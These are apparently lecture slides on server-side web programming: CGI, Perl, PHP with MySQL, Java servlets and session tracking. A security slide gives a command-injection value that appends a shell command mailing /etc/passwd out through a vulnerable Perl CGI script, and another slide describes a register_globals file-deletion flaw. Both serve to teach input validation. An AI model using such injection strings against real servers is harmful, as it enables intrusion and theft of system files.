Server-side = Web server side. At the beginning the Web was a static information
system. Web servers served documents, images, etc. Static information stored ...
Server-side = Web server side At the beginning the Web was a static information system Web servers served documents, images, etc. Static information stored on the server side (file system) No interaction between users and the Web (except browsing)
(2/95)
Server-side Technologies: Historical Background(2/3) There was a need for more interaction between users and the system (e.g. phone books) HTML forms Server needed to respond differently depending on values submitted by users Dynamic response by server
(3/95)
Server-side Technologies: Historical Background(3/3) Need to extend the functionality of Web servers Don’t add the new functionality into Web servers directly Just allow Web servers to communicate with external programs External programs generate dynamic content depending on values submitted by HTML form Dynamic content forwarded to Web server Web server responds with dynamic content
(4/95)
Server-side Technologies: Today
More than just evaluating of HTML forms Dynamic content needed for: Sophisticated user interaction (e.g. search engines, shopping carts) Content changes often (e.g. weather forecast, news headlines) Web gateways to database-based applications (e.g. prices of products, online ticket reservations)
(5/95)
Communication between Web server and external programs
How should Web server communicate with external programs? Passing parameters, getting response, etc. Standardized communication mechanism Standard created by Web consortium
(6/95)
Common Gateway Interface (CGI)
CGI is a specification of communication between Web server and external programs Current version CGI 1.1 http://hoohoo.ncsa.uiuc.edu/cgi/interface.html Very general approach, can be applied for different applications Not only HTML form evaluation Web server must implement CGI specification All major Web servers do! (e.g. Apache, IIS, etc.)
(7/95)
CGI Specification(1/4)
Environment variables System specific variables set by Web server External program reads environment variables and obtains data about client request CONTENT_LENGTH, CONTENT_TYPE, REMOTE_ADDR, REMOTE_HOST, etc.
Command line Using a special HTML tag user sends a command line to the server Command line executed on the server
(8/95)
CGI Specification(2/4) Standard Input Used by the server to send client data to external program Standard Output Used by external program to send response to the server (write HTML to standard output)
(9/95)
CGI Specification(3/4) HTTP method used by the client: GET or POST GET method: external program reads environment variables QUERY_STRING special environment variable containing data submitted by user (e.g. HTML form data)
POST method: external program reads from standard input External program needs to parse the input
(10/95)
CGI Specification(4/4) CGI specification allows external programs to be written in any programming language UNIX shell scripts, Perl scripts, C programs, C++ programs Even PHP as CGI or Java as CGI
(11/95)
CGI Examples(1/7)
Example 1: Hello World: CGI as UNIX shell script GET method, no parameters from client Write HTML to stdout #!/bin/sh # send http-header and a newline afterwards: echo "Content-Type: text/html" echo ""
(12/95)
CGI Examples(2/7) Example 1 (continued): # send html content: echo "" echo " " echo " Hello World CGI" echo " " echo " " echo " Hello World (" date "+%T, %d.%m.%Y" echo ")" echo " " echo ""
CGI Examples(3/7) Example 2: Dump environment variables: CGI as Perl script GET method, no parameters from client Write HTML to stdout #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print ""; print &PrintEnv;
(14/95)
CGI Examples(4/7) Example 2 (continued): Example: http://coronet.iicm.edu:8080/cgi-bin/mmis/printenv.pl Special CGI library in Perl: cgi-lib Provides functions for parsing input, parsing parameters, writing headers, etc. cgi-lib homepage: http://cgi-lib.berkeley.edu/
(15/95)
CGI Examples(5/7) Example 3: Dump QUERY_STRING: CGI as Perl script GET method, with parameters from client Write HTML to stdout Parameters encoded in Url: http://coronet.iicm.edu:8080/cgi-bin/mmis/printenv.pl? action=search&sourceid=google&q=query Parameters forwarded as an environment variable (QUERY_STRING) to program special characters encoded by %’ and ASCII-value (hex) restricted to 1024 bytes! (16/95)
CGI Examples(6/7) Example 4: Evaluate HTML forms: CGI as Perl script POST method, with parameters from client, read from stdin Write HTML to stdout #!/usr/bin/perl require "cgi-lib.pl"; if (&ReadParse) { print &PrintHeader, &PrintVariables; } else { print &PrintHeader,’ Data: ’; } (17/95)
CGI Examples(7/7) Example 4 (continued): Example: http://coronet.iicm.edu:8080/mmis/examples/cgi/form.html
Another CGI example: http://www-scf.usc.edu/~csci351/Special/CGIinC/examples. html
(18/95)
CGI Applications(1/2)
Long list of different applications: Simple: Hit counters, current date, etc. Handling HTML forms, search engines, imagemaps, databases WWW gateways!
CGI Security Check parameters carefully!!! if($email =~ /[^a-zA-Z0-9_\-\.@]/){ $_ = "The email address should be of the form user\@server!"; }else{ $_ = qx($finger $email); } Suppose this e-mail address: something ; mail [email protected] < /etc/passwd Basically you let other people start programs on the server Check what they want to do on your server!!! Not only CGI! (PHP, Java Servlets, etc.) (21/95)
CGI - Perl
Larry Wall: Practical Extraction and Reporting Language String manipulations, regular expressions Very powerful Strange syntax :-) (e.g. 1 while s/[(][^()]*[)]//;) Tutorials about perl/cgi: Chapter about CGI in SelfHTML: http://courses.iicm.edu/mmis/selfhtml80/cgiperl/ index.htm http://www.comp.leeds.ac.uk/nik/Cgi/start.html
General purpose scripting language, especially suited for Web development PHP script can be embedded into HTML documents PHP script is interpreted on a Web server PHP interpreter used as a CGI-program PHP interpreter as a plug-in of a web-server (e.g. Apache module)
(23/95)
PHP: Hello World(1/3)
Embed PHP script into an HTML file Upload the file onto a Web server using extension .php Embedding PHP in HTML: < ? ... ? > ...
PHP syntax close to C and Java Object-oriented approach Control structures Weakly-typed variables (prefix ’$’) Operators, etc.
(27/95)
PHP: Applications
Wide range of applications (similar to CGI) Forms handling, etc. Wide range of PHP libraries Network connectivity (e.g. access FTP, IMAP, SMTP, etc.) TU Webmail: https://sbox.tugraz.at/ Socket programming Database connectivity (e.g. MySQL, dBase, Oracle, etc.) XML/XSLT manipulation Image manipulation (28/95)
PHP: Handling Forms(1/8)
PHP interpreter initializes variables correpsonding to form fields
Name: Second Name: Matrikel Number: ... (29/95)
PHP: Handling Forms(2/8) PHP form variables: Alternative 1 PHP variables have same names as form fields $name for name, $nr for nr, etc.
"
\n"; "Variables\n"; "
Key
Value
\n"; "
Name
$name
\n"; "
Second Name
$second_name
\n"; "
Matrikel Number
$nr
\n"; "
Study Field
$study_field
\n"; "
\n";
(30/95)
PHP: Handling Forms(3/8) Example with GET: http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/ var_get.html Example with POST: http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/ var_post.html Example PHP: http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/ printvar.php Source PHP: http://coronet.iicm.edu:8080/mmis/examples/php/env_vars/ printvar.phps
(31/95)
PHP: Handling Forms(4/8) PHP form variables: Alternative 2 Access form fields through PHP array $HTTP_POST_VARS for POST method $HTTP_GET_VARS for GET method $name = $HTTP_POST_VARS["name"]; ... $name = $HTTP_GET_VARS["name"];
(32/95)
PHP: Handling Forms(5/8) PHP form variables: Alternative 3 Access form fields through PHP array $_POST for POST method (>=PHP4.1.0) $_GET for GET method (>=PHP4.1.0) $name = $_POST["name"]; ... $name = $_GET["name"];
(33/95)
PHP: Handling Forms(6/8) Handling forms: Security issues Similar problems like with CGI We need to check parameters sent by users very carefully!!! PHP form variables: Alernative 1 Has a lot of security issues, since variables are globally defined
(34/95)
PHP: Handling Forms(7/8) Example of security problem with global form variables $tempfile = "12345.tmp"; ... handle form variables ... ... do something with tempfile ... unlink($tempfile);
(35/95)
PHP: Handling Forms(8/8) Example of security problem with global form variables (continued) Suppose a following HTML form:
php.ini: register_globals=Off!!! >=PHP4.2.0 by default off
Use $HTTP_POST_VARS or $_POST instead
(36/95)
PHP: Database Manipulation(1/5)
Huge advantage of PHP: great support for database connectivity Adabas-D, mSQL, MySQL, Oracle, Postgres, Slid, Sybase/SybaseCT, Velocis, dBase-Files, filePro-Dateien, ODBC, ...) Most notably: PHP/MySQL Advanced features: Persistent database connections Huge advantage over CGI for example!
(37/95)
PHP: Database Manipulation(2/5) Example: Inserting and retrieving data from MySQL database Form: http://coronet.iicm.edu:8080/mmis/examples/php/mysql/ form.html
(38/95)
PHP: Database Manipulation(3/5)
(39/95)
PHP: Database Manipulation(4/5) Inserting data with PHP (source): http://coronet.iicm.edu:8080/mmis/examples/php/mysql/ register.phps Retrieving data with PHP: http://coronet.iicm.edu:8080/mmis/examples/php/mysql/ get_registered.php
$i++; } ... Retrieving data with PHP (source): http://coronet.iicm.edu:8080/mmis/examples/php/mysql/ get_registered.phps
(41/95)
PHP: XML Manipulation(1/3)
Additional PHP library for manipulating XML data PEAR library: http://pear.php.net/ Packages for networking, scientific calculations, file system, databases, XML, XSLT, etc. XML_Tree one of the packages in the PEAR library
PHP: XML Manipulation(3/3) Retrieving data (as XML) with PHP: http://coronet.iicm.edu:8080/mmis/examples/php/xml/get_ registered.php Retrieving data (as XML) with PHP (source): http://coronet.iicm.edu:8080/mmis/examples/php/xml/get_ registered.phps
(44/95)
PHP: Image Manipulation(1/3)
Generate not only HTML, but digital images as well! PHP compiled with GD graphical library Standard installation comes with some GD version GD Library: http://www.boutell.com/gd/
PHP: Image Manipulation(3/3) Retrieving data (as PNG image) with PHP: http://coronet.iicm.edu:8080/mmis/examples/php/image/ get_stats.php Retrieving data (as PNG image) with PHP (source): http://coronet.iicm.edu:8080/mmis/examples/php/image/ get_stats.phps
(47/95)
PHP: Tutorials and Resources PHP Introductory Tutorial: http://www.php.net/tut.php PHP/MySQL Tutorial: http://hotwired.lycos.com/webmonkey/programming/php/ tutorials/tutorial4.html PHP for beginners: http://www.skyhome.de/php/ PHP4 - Webserver-Programmierung f¨ur Einsteiger (book): http://www.galileocomputing.de/openbook/php4/ Developer Resources http://www.devshed.com/Server_Side/PHP Datenbank, MySQL und PHP: http://ffm.junetz.de/members/reeg/DSP/ SelfPHP:http://www.selfphp.info/index.php. (48/95)
Java Servlets and Java Server Pages (JSP)
Intro tutorial: http://www.apl.jhu.edu/~hall/java/Servlet-Tutorial/ Book: Marty Hall, Core Servlets and JavaServer Pages, Sun Press/Prentice Hall (http://www.coreservlets.com) Java servlets: server side Java applications Java server pages: Java code mixed into HTML Java applets: client-side applications
(49/95)
Java Servlets
Java technology’s answer to CGI programming Java programs that run on a Web server Java servlet engine (container) Official Reference Implementation: Apache Tomcat http://jakarta.apache.org/tomcat/index.html Current version: 5.5.4
(50/95)
Java Servlets: Advantages(1/4)
Efficient With traditional CGI: for each request a new OS process is started Java VM, servlet container, and a particular servlet started only once: each request handled by a Java thread Lightweight Java threads instead of heavyweight OS processes With CGI: if N simultaneous requests than the code is loaded N times With servlets: N threads but only one copy of code in the memory Optimization possibilites with servlets: caching, keeping database connections open, etc. answer from CGI: Fast-CGI (http://www.fastcgi.com) (51/95)
Java Servlets: Advantages(2/4) Convinient If you already know Java (most probabaly you do ;)) Huge Java software libraries Libraries for handling cookies, sessions, etc.
(52/95)
Java Servlets: Advantages(3/4) Powerful Java servlets can talk directly to the Web server (e.g. lookup for images stored in standard places) Servlets can share data among each other (e.g. database connection pools) Maintain information from request to request (e.g. session tracking, caching)
(53/95)
Java Servlets: Advantages(4/4) Portable Written in Java with a standardized API Servlets written for Microsoft IIS will run on Apache and other Web servers All major Web servers support servlets (directly or via a plug-in)
(54/95)
Installing Servlet Container(1/3)
Servlet Container Tomcat http://jakarta.apache.org/tomcat/index.html Apache software foundation http://www.apache.org for others see http://www.apl.jhu.edu/~hall/java/Servlet-Tutorial/ Servlet-Tutorial-Setup.html
(55/95)
Installing Servlet Container(2/3) installation tomcat # installation in verzeichnis ’/foo’ cd /foo unzip /jakarta-tomcat-4.1.12.zip cd jakarta-tomcat-4.1.12 # start tomcat: bin/startup.sh # stop tomcat: bin/shutdown.sh
tomcat: http://localhost:8080 or http://:8080
(56/95)
Installing Servlet Container(3/3) Windows installation with Windows installer Installed as a Windows service Connecting with a Web server (e.g. Apache) Install a Web connector: http://jakarta.apache.org/tomcat/tomcat-4.1-doc/ config/connectors.html Configure Web server Set URL prefixes which will be passed to Tomcat
(57/95)
Java Servlets - Internal(1/2)
Java class extending abstract class javax.servlet.http.HttpServlet Implement public void doGet(request, response) to handle HTTP GET method Other methods (need not be implemented) e.g. public void doPost(request, response)
(58/95)
Java Servlets - Internal(2/2) servlet template: import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class SomeServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Use "request" to read incoming HTTP headers (e.g. cookies) // and HTML form data (e.g. data the user entered and submitted) // Use "response" to specify the HTTP response line and headers // (e.g. specifying the content type, setting cookies). PrintWriter out = response.getWriter(); // Use "out" to send content to browser } }
Common problems of all server-side generated Web applications Mixing of content and presentation Hard to decouple this in scripting languages Script always embeded inside HTML code
(86/95)
Servlets, CGI, JSP, PHP, ... - Problems!(2/3) Servlets have this problem also Presentation designer needs to program in Java Possible solution Dump content as XML, appply XSLT
(87/95)
Servlets, CGI, JSP, PHP, ... - Problems!(3/3) Java Web Frameworks try to solve this problem Coocon (XML Publishing framework) http://xml.apache.org/cocoon/index.html Struts http://jakarta.apache.org/struts/index.html More on Java Web Frameworks in MMIS 2
(88/95)
Servlets, CGI, JSP, PHP, ... - What to take?
Depends on application requirements (e.g. database connectivity, performance, etc.) Depends on know-how, taste, etc. Depends on how dynamic is Web application Less dynamic content - JSP, PHP, etc. Gateway to existing Java application (more dynamic content) - Java servlets
(89/95)
Session Tracking(1/5)
HTTP is connection-less: one connection per request Information about user/session is lost whenever the connection is closed Often necessary to keep track about the session (e.g. online shop)
(90/95)
Session Tracking(2/5) Keep track with: Cookies Hidden form fields: Url-rewriting: e.g. http://coronet.iicm.edu/mmis-servlets/Session; jsessionid=34D53231C1140018A422F540E9379927
(91/95)
Session Tracking(3/5) Cookies Strings sent from server to Web browser Stored on a client side database, files or in memory Sent back from browser to the Web server in HTTP-header
(92/95)
Session Tracking(4/5) Used to store the state of communication between a client and the server Server sets the read rigths for a cookie (i.e. who can read the cookie) Commercial sites use cookies to create user profiles (e.g. Ad-ware) Possible to switch off (by request, none at all, ...)
(93/95)
Session Tracking(5/5) High level interfaces in PHP, Java Servlets API Java servlets API manages sessions with cookies or url rewriting Transparent to programmer Session example: http://coronet.iicm.edu/mmis-servlets/Session Session example (source): http://coronet.iicm.edu/mmis/examples/java/session/ SessionServlet.java
(94/95)
Distributed Programming on the Web
Very hot topic right now .NET from Microsoft Web services More on Web services in MMIS 2